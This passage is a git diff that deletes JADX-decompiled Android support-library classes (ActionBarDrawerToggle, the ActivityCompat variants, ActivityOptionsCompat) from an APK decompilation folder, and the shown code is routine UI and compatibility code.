ActionBarDrawerToggle(Activity activity, DrawerLayout drawerLayout, boolean z, int i, int i2, int i3) { - this.mDrawerIndicatorEnabled = true; - this.mActivity = activity; - if (activity instanceof DelegateProvider) { - this.mActivityImpl = ((DelegateProvider) activity).getDrawerToggleDelegate(); - } else { - this.mActivityImpl = null; - } - this.mDrawerLayout = drawerLayout; - this.mDrawerImageResource = i; - this.mOpenDrawerContentDescRes = i2; - this.mCloseDrawerContentDescRes = i3; - this.mHomeAsUpIndicator = getThemeUpIndicator(); - this.mDrawerImage = ContextCompat.getDrawable(activity, i); - SlideDrawable slideDrawable = new SlideDrawable(this.mDrawerImage); - this.mSlider = slideDrawable; - slideDrawable.setOffset(z ? TOGGLE_DRAWABLE_OFFSET : 0.0f); - } - - public void syncState() { - if (this.mDrawerLayout.isDrawerOpen(GravityCompat.START)) { - this.mSlider.setPosition(1.0f); - } else { - this.mSlider.setPosition(0.0f); - } - if (this.mDrawerIndicatorEnabled) { - setActionBarUpIndicator(this.mSlider, this.mDrawerLayout.isDrawerOpen(GravityCompat.START) ? this.mCloseDrawerContentDescRes : this.mOpenDrawerContentDescRes); - } - } - - public void setHomeAsUpIndicator(Drawable drawable) { - if (drawable == null) { - this.mHomeAsUpIndicator = getThemeUpIndicator(); - this.mHasCustomUpIndicator = false; - } else { - this.mHomeAsUpIndicator = drawable; - this.mHasCustomUpIndicator = true; - } - if (this.mDrawerIndicatorEnabled) { - return; - } - setActionBarUpIndicator(this.mHomeAsUpIndicator, 0); - } - - public void setHomeAsUpIndicator(int i) { - setHomeAsUpIndicator(i != 0 ? ContextCompat.getDrawable(this.mActivity, i) : null); - } - - public void setDrawerIndicatorEnabled(boolean z) { - if (z != this.mDrawerIndicatorEnabled) { - if (z) { - setActionBarUpIndicator(this.mSlider, this.mDrawerLayout.isDrawerOpen(GravityCompat.START) ? this.mCloseDrawerContentDescRes : this.mOpenDrawerContentDescRes); - } else { - setActionBarUpIndicator(this.mHomeAsUpIndicator, 0); - } - this.mDrawerIndicatorEnabled = z; - } - } - - public boolean isDrawerIndicatorEnabled() { - return this.mDrawerIndicatorEnabled; - } - - public void onConfigurationChanged(Configuration configuration) { - if (!this.mHasCustomUpIndicator) { - this.mHomeAsUpIndicator = getThemeUpIndicator(); - } - this.mDrawerImage = ContextCompat.getDrawable(this.mActivity, this.mDrawerImageResource); - syncState(); - } - - public boolean onOptionsItemSelected(MenuItem menuItem) { - if (menuItem != null && menuItem.getItemId() == ID_HOME && this.mDrawerIndicatorEnabled) { - if (this.mDrawerLayout.isDrawerVisible(GravityCompat.START)) { - this.mDrawerLayout.closeDrawer(GravityCompat.START); - return true; - } - this.mDrawerLayout.openDrawer(GravityCompat.START); - return true; - } - return false; - } - - @Override // android.support.v4.widget.DrawerLayout.DrawerListener - public void onDrawerSlide(View view, float f) { - float min; - float position = this.mSlider.getPosition(); - if (f > 0.5f) { - min = Math.max(position, Math.max(0.0f, f - 0.5f) * 2.0f); - } else { - min = Math.min(position, f * 2.0f); - } - this.mSlider.setPosition(min); - } - - @Override // android.support.v4.widget.DrawerLayout.DrawerListener - public void onDrawerOpened(View view) { - this.mSlider.setPosition(1.0f); - if (this.mDrawerIndicatorEnabled) { - setActionBarDescription(this.mCloseDrawerContentDescRes); - } - } - - @Override // android.support.v4.widget.DrawerLayout.DrawerListener - public void onDrawerClosed(View view) { - this.mSlider.setPosition(0.0f); - if (this.mDrawerIndicatorEnabled) { - setActionBarDescription(this.mOpenDrawerContentDescRes); - } - } - - Drawable getThemeUpIndicator() { - Delegate delegate = this.mActivityImpl; - if (delegate != null) { - return delegate.getThemeUpIndicator(); - } - return IMPL.getThemeUpIndicator(this.mActivity); - } - - void setActionBarUpIndicator(Drawable drawable, int i) { - Delegate delegate = this.mActivityImpl; - if (delegate != null) { - delegate.setActionBarUpIndicator(drawable, i); - } else { - this.mSetIndicatorInfo = IMPL.setActionBarUpIndicator(this.mSetIndicatorInfo, this.mActivity, drawable, i); - } - } - - void setActionBarDescription(int i) { - Delegate delegate = this.mActivityImpl; - if (delegate != null) { - delegate.setActionBarDescription(i); - } else { - this.mSetIndicatorInfo = IMPL.setActionBarDescription(this.mSetIndicatorInfo, this.mActivity, i); - } - } - - /* JADX INFO: Access modifiers changed from: private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public class SlideDrawable extends InsetDrawable implements Drawable.Callback { - private final boolean mHasMirroring; - private float mOffset; - private float mPosition; - private final Rect mTmpRect; - - SlideDrawable(Drawable drawable) { - super(drawable, 0); - this.mHasMirroring = true; - this.mTmpRect = new Rect(); - } - - public void setPosition(float f) { - this.mPosition = f; - invalidateSelf(); - } - - public float getPosition() { - return this.mPosition; - } - - public void setOffset(float f) { - this.mOffset = f; - invalidateSelf(); - } - - @Override // android.graphics.drawable.DrawableWrapper, android.graphics.drawable.Drawable - public void draw(Canvas canvas) { - copyBounds(this.mTmpRect); - canvas.save(); - boolean z = ViewCompat.getLayoutDirection(ActionBarDrawerToggle.this.mActivity.getWindow().getDecorView()) == 1; - int i = z ? -1 : 1; - float width = this.mTmpRect.width(); - canvas.translate((-this.mOffset) * width * this.mPosition * i, 0.0f); - if (z && !this.mHasMirroring) { - canvas.translate(width, 0.0f); - canvas.scale(-1.0f, 1.0f); - } - super.draw(canvas); - canvas.restore(); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/ActionBarDrawerToggleHoneycomb.java b/apk_3230/decompiled_source/sources/android/support/v4/app/ActionBarDrawerToggleHoneycomb.java deleted file mode 100644 index 54c0be5..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/ActionBarDrawerToggleHoneycomb.java +++ /dev/null @@ -1,90 +0,0 @@ -package android.support.v4.app; - -import android.app.ActionBar; -import android.app.Activity; -import android.content.res.TypedArray; -import android.graphics.drawable.Drawable; -import android.util.Log; -import android.view.View; -import android.view.ViewGroup; -import android.widget.ImageView; -import java.lang.reflect.Method; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ActionBarDrawerToggleHoneycomb { - private static final String TAG = "ActionBarDrawerToggleHoneycomb"; - private static final int[] THEME_ATTRS = {16843531}; - - ActionBarDrawerToggleHoneycomb() { - } - - public static Object setActionBarUpIndicator(Object obj, Activity activity, Drawable drawable, int i) { - if (obj == null) { - obj = new SetIndicatorInfo(activity); - } - SetIndicatorInfo setIndicatorInfo = (SetIndicatorInfo) obj; - if (setIndicatorInfo.setHomeAsUpIndicator != null) { - try { - ActionBar actionBar = activity.getActionBar(); - setIndicatorInfo.setHomeAsUpIndicator.invoke(actionBar, drawable); - setIndicatorInfo.setHomeActionContentDescription.invoke(actionBar, Integer.valueOf(i)); - } catch (Exception e) { - Log.w(TAG, "Couldn't set home-as-up indicator via JB-MR2 API", e); - } - } else if (setIndicatorInfo.upIndicatorView != null) { - setIndicatorInfo.upIndicatorView.setImageDrawable(drawable); - } else { - Log.w(TAG, "Couldn't set home-as-up indicator"); - } - return obj; - } - - public static Object setActionBarDescription(Object obj, Activity activity, int i) { - if (obj == null) { - obj = new SetIndicatorInfo(activity); - } - SetIndicatorInfo setIndicatorInfo = (SetIndicatorInfo) obj; - if (setIndicatorInfo.setHomeAsUpIndicator != null) { - try { - setIndicatorInfo.setHomeActionContentDescription.invoke(activity.getActionBar(), Integer.valueOf(i)); - } catch (Exception e) { - Log.w(TAG, "Couldn't set content description via JB-MR2 API", e); - } - } - return obj; - } - - public static Drawable getThemeUpIndicator(Activity activity) { - TypedArray obtainStyledAttributes = activity.obtainStyledAttributes(THEME_ATTRS); - Drawable drawable = obtainStyledAttributes.getDrawable(0); - obtainStyledAttributes.recycle(); - return drawable; - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class SetIndicatorInfo { - public Method setHomeActionContentDescription; - public Method setHomeAsUpIndicator; - public ImageView upIndicatorView; - - SetIndicatorInfo(Activity activity) { - try { - this.setHomeAsUpIndicator = ActionBar.class.getDeclaredMethod("setHomeAsUpIndicator", Drawable.class); - this.setHomeActionContentDescription = ActionBar.class.getDeclaredMethod("setHomeActionContentDescription", Integer.TYPE); - } catch (NoSuchMethodException unused) { - View findViewById = activity.findViewById(16908332); - if (findViewById == null) { - return; - } - ViewGroup viewGroup = (ViewGroup) findViewById.getParent(); - if (viewGroup.getChildCount() != 2) { - return; - } - View childAt = viewGroup.getChildAt(0); - childAt = childAt.getId() == 16908332 ? viewGroup.getChildAt(1) : childAt; - if (childAt instanceof ImageView) { - this.upIndicatorView = (ImageView) childAt; - } - } - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/ActionBarDrawerToggleJellybeanMR2.java b/apk_3230/decompiled_source/sources/android/support/v4/app/ActionBarDrawerToggleJellybeanMR2.java deleted file mode 100644 index 1f1dd1a..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/ActionBarDrawerToggleJellybeanMR2.java +++ /dev/null @@ -1,44 +0,0 @@ -package android.support.v4.app; - -import android.app.ActionBar; -import android.app.Activity; -import android.content.Context; -import android.content.res.TypedArray; -import android.graphics.drawable.Drawable; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ActionBarDrawerToggleJellybeanMR2 { - private static final String TAG = "ActionBarDrawerToggleImplJellybeanMR2"; - private static final int[] THEME_ATTRS = {16843531}; - - ActionBarDrawerToggleJellybeanMR2() { - } - - public static Object setActionBarUpIndicator(Object obj, Activity activity, Drawable drawable, int i) { - ActionBar actionBar = activity.getActionBar(); - if (actionBar != null) { - actionBar.setHomeAsUpIndicator(drawable); - actionBar.setHomeActionContentDescription(i); - } - return obj; - } - - public static Object setActionBarDescription(Object obj, Activity activity, int i) { - ActionBar actionBar = activity.getActionBar(); - if (actionBar != null) { - actionBar.setHomeActionContentDescription(i); - } - return obj; - } - - public static Drawable getThemeUpIndicator(Activity activity) { - ActionBar actionBar = activity.getActionBar(); - Context context = activity; - if (actionBar != null) { - context = actionBar.getThemedContext(); - } - TypedArray obtainStyledAttributes = context.obtainStyledAttributes(null, THEME_ATTRS, 16843470, 0); - Drawable drawable = obtainStyledAttributes.getDrawable(0); - obtainStyledAttributes.recycle(); - return drawable; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/ActivityCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/app/ActivityCompat.java deleted file mode 100644 index 1a253d6..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/ActivityCompat.java +++ /dev/null @@ -1,210 +0,0 @@ -package android.support.v4.app; - -import android.app.Activity; -import android.content.Context; -import android.content.Intent; -import android.content.IntentSender; -import android.content.pm.PackageManager; -import android.graphics.Matrix; -import android.graphics.RectF; -import android.net.Uri; -import android.os.Bundle; -import android.os.Parcelable; -import android.support.v4.app.ActivityCompat21; -import android.support.v4.app.ActivityCompatApi23; -import android.support.v4.app.SharedElementCallback; -import android.support.v4.content.ContextCompat; -import android.view.View; -import java.util.List; -import java.util.Map; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class ActivityCompat extends ContextCompat { - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface OnRequestPermissionsResultCallback { - void onRequestPermissionsResult(int i, String[] strArr, int[] iArr); - } - - public static boolean invalidateOptionsMenu(Activity activity) { - ActivityCompatHoneycomb.invalidateOptionsMenu(activity); - return true; - } - - public static void startActivity(Activity activity, Intent intent, Bundle bundle) { - ActivityCompatJB.startActivity(activity, intent, bundle); - } - - public static void startActivityForResult(Activity activity, Intent intent, int i, Bundle bundle) { - ActivityCompatJB.startActivityForResult(activity, intent, i, bundle); - } - - public static void startIntentSenderForResult(Activity activity, IntentSender intentSender, int i, Intent intent, int i2, int i3, int i4, Bundle bundle) throws IntentSender.SendIntentException { - ActivityCompatJB.startIntentSenderForResult(activity, intentSender, i, intent, i2, i3, i4, bundle); - } - - public static void finishAffinity(Activity activity) { - ActivityCompatJB.finishAffinity(activity); - } - - public static void finishAfterTransition(Activity activity) { - ActivityCompat21.finishAfterTransition(activity); - } - - @Deprecated - public Uri getReferrer(Activity activity) { - return ActivityCompat22.getReferrer(activity); - } - - public static void setEnterSharedElementCallback(Activity activity, SharedElementCallback sharedElementCallback) { - ActivityCompatApi23.setEnterSharedElementCallback(activity, createCallback23(sharedElementCallback)); - } - - public static void setExitSharedElementCallback(Activity activity, SharedElementCallback sharedElementCallback) { - ActivityCompatApi23.setExitSharedElementCallback(activity, createCallback23(sharedElementCallback)); - } - - public static void postponeEnterTransition(Activity activity) { - ActivityCompat21.postponeEnterTransition(activity); - } - - public static void startPostponedEnterTransition(Activity activity) { - ActivityCompat21.startPostponedEnterTransition(activity); - } - - public static void requestPermissions(Activity activity, String[] strArr, int i) { - ActivityCompatApi23.requestPermissions(activity, strArr, i); - } - - /* renamed from: android.support.v4.app.ActivityCompat$1 reason: invalid class name */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class AnonymousClass1 implements Runnable { - final /* synthetic */ Activity val$activity; - final /* synthetic */ String[] val$permissions; - final /* synthetic */ int val$requestCode; - - AnonymousClass1(String[] strArr, Activity activity, int i) { - this.val$permissions = strArr; - this.val$activity = activity; - this.val$requestCode = i; - } - - @Override // java.lang.Runnable - public void run() { - int[] iArr = new int[this.val$permissions.length]; - PackageManager packageManager = this.val$activity.getPackageManager(); - String packageName = this.val$activity.getPackageName(); - int length = this.val$permissions.length; - for (int i = 0; i < length; i++) { - iArr[i] = packageManager.checkPermission(this.val$permissions[i], packageName); - } - ((OnRequestPermissionsResultCallback) this.val$activity).onRequestPermissionsResult(this.val$requestCode, this.val$permissions, iArr); - } - } - - public static boolean shouldShowRequestPermissionRationale(Activity activity, String str) { - return ActivityCompatApi23.shouldShowRequestPermissionRationale(activity, str); - } - - private static ActivityCompat21.SharedElementCallback21 createCallback(SharedElementCallback sharedElementCallback) { - if (sharedElementCallback != null) { - return new SharedElementCallback21Impl(sharedElementCallback); - } - return null; - } - - private static ActivityCompatApi23.SharedElementCallback23 createCallback23(SharedElementCallback sharedElementCallback) { - if (sharedElementCallback != null) { - return new SharedElementCallback23Impl(sharedElementCallback); - } - return null; - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class SharedElementCallback21Impl extends ActivityCompat21.SharedElementCallback21 { - private SharedElementCallback mCallback; - - public SharedElementCallback21Impl(SharedElementCallback sharedElementCallback) { - this.mCallback = sharedElementCallback; - } - - @Override // android.support.v4.app.ActivityCompat21.SharedElementCallback21 - public void onSharedElementStart(List list, List list2, List list3) { - this.mCallback.onSharedElementStart(list, list2, list3); - } - - @Override // android.support.v4.app.ActivityCompat21.SharedElementCallback21 - public void onSharedElementEnd(List list, List list2, List list3) { - this.mCallback.onSharedElementEnd(list, list2, list3); - } - - @Override // android.support.v4.app.ActivityCompat21.SharedElementCallback21 - public void onRejectSharedElements(List list) { - this.mCallback.onRejectSharedElements(list); - } - - @Override // android.support.v4.app.ActivityCompat21.SharedElementCallback21 - public void onMapSharedElements(List list, Map map) { - this.mCallback.onMapSharedElements(list, map); - } - - @Override // android.support.v4.app.ActivityCompat21.SharedElementCallback21 - public Parcelable onCaptureSharedElementSnapshot(View view, Matrix matrix, RectF rectF) { - return this.mCallback.onCaptureSharedElementSnapshot(view, matrix, rectF); - } - - @Override // android.support.v4.app.ActivityCompat21.SharedElementCallback21 - public View onCreateSnapshotView(Context context, Parcelable parcelable) { - return this.mCallback.onCreateSnapshotView(context, parcelable); - } - } - - /* JADX INFO: Access modifiers changed from: private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class SharedElementCallback23Impl extends ActivityCompatApi23.SharedElementCallback23 { - private SharedElementCallback mCallback; - - public SharedElementCallback23Impl(SharedElementCallback sharedElementCallback) { - this.mCallback = sharedElementCallback; - } - - @Override // android.support.v4.app.ActivityCompat21.SharedElementCallback21 - public void onSharedElementStart(List list, List list2, List list3) { - this.mCallback.onSharedElementStart(list, list2, list3); - } - - @Override // android.support.v4.app.ActivityCompat21.SharedElementCallback21 - public void onSharedElementEnd(List list, List list2, List list3) { - this.mCallback.onSharedElementEnd(list, list2, list3); - } - - @Override // android.support.v4.app.ActivityCompat21.SharedElementCallback21 - public void onRejectSharedElements(List list) { - this.mCallback.onRejectSharedElements(list); - } - - @Override // android.support.v4.app.ActivityCompat21.SharedElementCallback21 - public void onMapSharedElements(List list, Map map) { - this.mCallback.onMapSharedElements(list, map); - } - - @Override // android.support.v4.app.ActivityCompat21.SharedElementCallback21 - public Parcelable onCaptureSharedElementSnapshot(View view, Matrix matrix, RectF rectF) { - return this.mCallback.onCaptureSharedElementSnapshot(view, matrix, rectF); - } - - @Override // android.support.v4.app.ActivityCompat21.SharedElementCallback21 - public View onCreateSnapshotView(Context context, Parcelable parcelable) { - return this.mCallback.onCreateSnapshotView(context, parcelable); - } - - @Override // android.support.v4.app.ActivityCompatApi23.SharedElementCallback23 - public void onSharedElementsArrived(List list, List list2, final ActivityCompatApi23.OnSharedElementsReadyListenerBridge onSharedElementsReadyListenerBridge) { - this.mCallback.onSharedElementsArrived(list, list2, new SharedElementCallback.OnSharedElementsReadyListener() { // from class: android.support.v4.app.ActivityCompat.SharedElementCallback23Impl.1 - @Override // android.support.v4.app.SharedElementCallback.OnSharedElementsReadyListener - public void onSharedElementsReady() { - onSharedElementsReadyListenerBridge.onSharedElementsReady(); - } - }); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/ActivityCompat21.java b/apk_3230/decompiled_source/sources/android/support/v4/app/ActivityCompat21.java deleted file mode 100644 index b082c68..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/ActivityCompat21.java +++ /dev/null @@ -1,103 +0,0 @@ -package android.support.v4.app; - -import android.app.Activity; -import android.content.Context; -import android.graphics.Matrix; -import android.graphics.RectF; -import android.media.session.MediaController; -import android.os.Parcelable; -import android.view.View; -import java.util.List; -import java.util.Map; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ActivityCompat21 { - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static abstract class SharedElementCallback21 { - public abstract Parcelable onCaptureSharedElementSnapshot(View view, Matrix matrix, RectF rectF); - - public abstract View onCreateSnapshotView(Context context, Parcelable parcelable); - - public abstract void onMapSharedElements(List list, Map map); - - public abstract void onRejectSharedElements(List list); - - public abstract void onSharedElementEnd(List list, List list2, List list3); - - public abstract void onSharedElementStart(List list, List list2, List list3); - } - - ActivityCompat21() { - } - - public static void setMediaController(Activity activity, Object obj) { - activity.setMediaController((MediaController) obj); - } - - public static void finishAfterTransition(Activity activity) { - activity.finishAfterTransition(); - } - - public static void setEnterSharedElementCallback(Activity activity, SharedElementCallback21 sharedElementCallback21) { - activity.setEnterSharedElementCallback(createCallback(sharedElementCallback21)); - } - - public static void setExitSharedElementCallback(Activity activity, SharedElementCallback21 sharedElementCallback21) { - activity.setExitSharedElementCallback(createCallback(sharedElementCallback21)); - } - - public static void postponeEnterTransition(Activity activity) { - activity.postponeEnterTransition(); - } - - public static void startPostponedEnterTransition(Activity activity) { - activity.startPostponedEnterTransition(); - } - - private static android.app.SharedElementCallback createCallback(SharedElementCallback21 sharedElementCallback21) { - if (sharedElementCallback21 != null) { - return new SharedElementCallbackImpl(sharedElementCallback21); - } - return null; - } - - /* JADX INFO: Access modifiers changed from: private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class SharedElementCallbackImpl extends android.app.SharedElementCallback { - private SharedElementCallback21 mCallback; - - public SharedElementCallbackImpl(SharedElementCallback21 sharedElementCallback21) { - this.mCallback = sharedElementCallback21; - } - - @Override // android.app.SharedElementCallback - public void onSharedElementStart(List list, List list2, List list3) { - this.mCallback.onSharedElementStart(list, list2, list3); - } - - @Override // android.app.SharedElementCallback - public void onSharedElementEnd(List list, List list2, List list3) { - this.mCallback.onSharedElementEnd(list, list2, list3); - } - - @Override // android.app.SharedElementCallback - public void onRejectSharedElements(List list) { - this.mCallback.onRejectSharedElements(list); - } - - @Override // android.app.SharedElementCallback - public void onMapSharedElements(List list, Map map) { - this.mCallback.onMapSharedElements(list, map); - } - - @Override // android.app.SharedElementCallback - public Parcelable onCaptureSharedElementSnapshot(View view, Matrix matrix, RectF rectF) { - return this.mCallback.onCaptureSharedElementSnapshot(view, matrix, rectF); - } - - @Override // android.app.SharedElementCallback - public View onCreateSnapshotView(Context context, Parcelable parcelable) { - return this.mCallback.onCreateSnapshotView(context, parcelable); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/ActivityCompat22.java b/apk_3230/decompiled_source/sources/android/support/v4/app/ActivityCompat22.java deleted file mode 100644 index ff8e68b..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/ActivityCompat22.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.v4.app; - -import android.app.Activity; -import android.net.Uri; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ActivityCompat22 { - ActivityCompat22() { - } - - public static Uri getReferrer(Activity activity) { - return activity.getReferrer(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/ActivityCompatApi23.java b/apk_3230/decompiled_source/sources/android/support/v4/app/ActivityCompatApi23.java deleted file mode 100644 index 19462b4..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/ActivityCompatApi23.java +++ /dev/null @@ -1,109 +0,0 @@ -package android.support.v4.app; - -import android.app.Activity; -import android.app.SharedElementCallback; -import android.content.Context; -import android.graphics.Matrix; -import android.graphics.RectF; -import android.os.Parcelable; -import android.support.v4.app.ActivityCompat21; -import android.view.View; -import java.util.List; -import java.util.Map; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ActivityCompatApi23 { - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface OnSharedElementsReadyListenerBridge { - void onSharedElementsReady(); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface RequestPermissionsRequestCodeValidator { - void validateRequestPermissionsRequestCode(int i); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static abstract class SharedElementCallback23 extends ActivityCompat21.SharedElementCallback21 { - public abstract void onSharedElementsArrived(List list, List list2, OnSharedElementsReadyListenerBridge onSharedElementsReadyListenerBridge); - } - - ActivityCompatApi23() { - } - - public static void requestPermissions(Activity activity, String[] strArr, int i) { - if (activity instanceof RequestPermissionsRequestCodeValidator) { - ((RequestPermissionsRequestCodeValidator) activity).validateRequestPermissionsRequestCode(i); - } - activity.requestPermissions(strArr, i); - } - - public static boolean shouldShowRequestPermissionRationale(Activity activity, String str) { - return activity.shouldShowRequestPermissionRationale(str); - } - - public static void setEnterSharedElementCallback(Activity activity, SharedElementCallback23 sharedElementCallback23) { - activity.setEnterSharedElementCallback(createCallback(sharedElementCallback23)); - } - - public static void setExitSharedElementCallback(Activity activity, SharedElementCallback23 sharedElementCallback23) { - activity.setExitSharedElementCallback(createCallback(sharedElementCallback23)); - } - - private static android.app.SharedElementCallback createCallback(SharedElementCallback23 sharedElementCallback23) { - if (sharedElementCallback23 != null) { - return new SharedElementCallbackImpl(sharedElementCallback23); - } - return null; - } - - /* JADX INFO: Access modifiers changed from: private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class SharedElementCallbackImpl extends android.app.SharedElementCallback { - private SharedElementCallback23 mCallback; - - public SharedElementCallbackImpl(SharedElementCallback23 sharedElementCallback23) { - this.mCallback = sharedElementCallback23; - } - - @Override // android.app.SharedElementCallback - public void onSharedElementStart(List list, List list2, List list3) { - this.mCallback.onSharedElementStart(list, list2, list3); - } - - @Override // android.app.SharedElementCallback - public void onSharedElementEnd(List list, List list2, List list3) { - this.mCallback.onSharedElementEnd(list, list2, list3); - } - - @Override // android.app.SharedElementCallback - public void onRejectSharedElements(List list) { - this.mCallback.onRejectSharedElements(list); - } - - @Override // android.app.SharedElementCallback - public void onMapSharedElements(List list, Map map) { - this.mCallback.onMapSharedElements(list, map); - } - - @Override // android.app.SharedElementCallback - public Parcelable onCaptureSharedElementSnapshot(View view, Matrix matrix, RectF rectF) { - return this.mCallback.onCaptureSharedElementSnapshot(view, matrix, rectF); - } - - @Override // android.app.SharedElementCallback - public View onCreateSnapshotView(Context context, Parcelable parcelable) { - return this.mCallback.onCreateSnapshotView(context, parcelable); - } - - @Override // android.app.SharedElementCallback - public void onSharedElementsArrived(List list, List list2, final SharedElementCallback.OnSharedElementsReadyListener onSharedElementsReadyListener) { - this.mCallback.onSharedElementsArrived(list, list2, new OnSharedElementsReadyListenerBridge() { // from class: android.support.v4.app.ActivityCompatApi23.SharedElementCallbackImpl.1 - @Override // android.support.v4.app.ActivityCompatApi23.OnSharedElementsReadyListenerBridge - public void onSharedElementsReady() { - onSharedElementsReadyListener.onSharedElementsReady(); - } - }); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/ActivityCompatHoneycomb.java b/apk_3230/decompiled_source/sources/android/support/v4/app/ActivityCompatHoneycomb.java deleted file mode 100644 index 87b4da9..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/ActivityCompatHoneycomb.java +++ /dev/null @@ -1,19 +0,0 @@ -package android.support.v4.app; - -import android.app.Activity; -import java.io.FileDescriptor; -import java.io.PrintWriter; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ActivityCompatHoneycomb { - ActivityCompatHoneycomb() { - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static void invalidateOptionsMenu(Activity activity) { - activity.invalidateOptionsMenu(); - } - - static void dump(Activity activity, String str, FileDescriptor fileDescriptor, PrintWriter printWriter, String[] strArr) { - activity.dump(str, fileDescriptor, printWriter, strArr); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/ActivityCompatJB.java b/apk_3230/decompiled_source/sources/android/support/v4/app/ActivityCompatJB.java deleted file mode 100644 index 5ea0411..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/ActivityCompatJB.java +++ /dev/null @@ -1,28 +0,0 @@ -package android.support.v4.app; - -import android.app.Activity; -import android.content.Context; -import android.content.Intent; -import android.content.IntentSender; -import android.os.Bundle; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ActivityCompatJB { - ActivityCompatJB() { - } - - public static void startActivity(Context context, Intent intent, Bundle bundle) { - context.startActivity(intent, bundle); - } - - public static void startActivityForResult(Activity activity, Intent intent, int i, Bundle bundle) { - activity.startActivityForResult(intent, i, bundle); - } - - public static void startIntentSenderForResult(Activity activity, IntentSender intentSender, int i, Intent intent, int i2, int i3, int i4, Bundle bundle) throws IntentSender.SendIntentException { - activity.startIntentSenderForResult(intentSender, i, intent, i2, i3, i4, bundle); - } - - public static void finishAffinity(Activity activity) { - activity.finishAffinity(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/ActivityManagerCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/app/ActivityManagerCompat.java deleted file mode 100644 index b015ac7..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/ActivityManagerCompat.java +++ /dev/null @@ -1,12 +0,0 @@ -package android.support.v4.app; - -import android.app.ActivityManager; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class ActivityManagerCompat { - private ActivityManagerCompat() { - } - - public static boolean isLowRamDevice(ActivityManager activityManager) { - return ActivityManagerCompatKitKat.isLowRamDevice(activityManager); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/ActivityManagerCompatKitKat.java b/apk_3230/decompiled_source/sources/android/support/v4/app/ActivityManagerCompatKitKat.java deleted file mode 100644 index 95a2bf6..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/ActivityManagerCompatKitKat.java +++ /dev/null @@ -1,12 +0,0 @@ -package android.support.v4.app; - -import android.app.ActivityManager; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ActivityManagerCompatKitKat { - ActivityManagerCompatKitKat() { - } - - public static boolean isLowRamDevice(ActivityManager activityManager) { - return activityManager.isLowRamDevice(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/ActivityOptionsCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/app/ActivityOptionsCompat.java deleted file mode 100644 index beb4315..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/ActivityOptionsCompat.java +++ /dev/null @@ -1,185 +0,0 @@ -package android.support.v4.app; - -import android.app.Activity; -import android.app.PendingIntent; -import android.content.Context; -import android.graphics.Bitmap; -import android.graphics.Rect; -import android.os.Bundle; -import android.support.v4.util.Pair; -import android.view.View; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class ActivityOptionsCompat { - public static final String EXTRA_USAGE_TIME_REPORT = "android.activity.usage_time"; - public static final String EXTRA_USAGE_TIME_REPORT_PACKAGES = "android.usage_time_packages"; - - public Rect getLaunchBounds() { - return null; - } - - public void requestUsageTimeReport(PendingIntent pendingIntent) { - } - - public ActivityOptionsCompat setLaunchBounds(Rect rect) { - return null; - } - - public Bundle toBundle() { - return null; - } - - public void update(ActivityOptionsCompat activityOptionsCompat) { - } - - public static ActivityOptionsCompat makeCustomAnimation(Context context, int i, int i2) { - return new ActivityOptionsImpl24(ActivityOptionsCompat24.makeCustomAnimation(context, i, i2)); - } - - public static ActivityOptionsCompat makeScaleUpAnimation(View view, int i, int i2, int i3, int i4) { - return new ActivityOptionsImpl24(ActivityOptionsCompat24.makeScaleUpAnimation(view, i, i2, i3, i4)); - } - - public static ActivityOptionsCompat makeClipRevealAnimation(View view, int i, int i2, int i3, int i4) { - return new ActivityOptionsImpl24(ActivityOptionsCompat24.makeClipRevealAnimation(view, i, i2, i3, i4)); - } - - public static ActivityOptionsCompat makeThumbnailScaleUpAnimation(View view, Bitmap bitmap, int i, int i2) { - return new 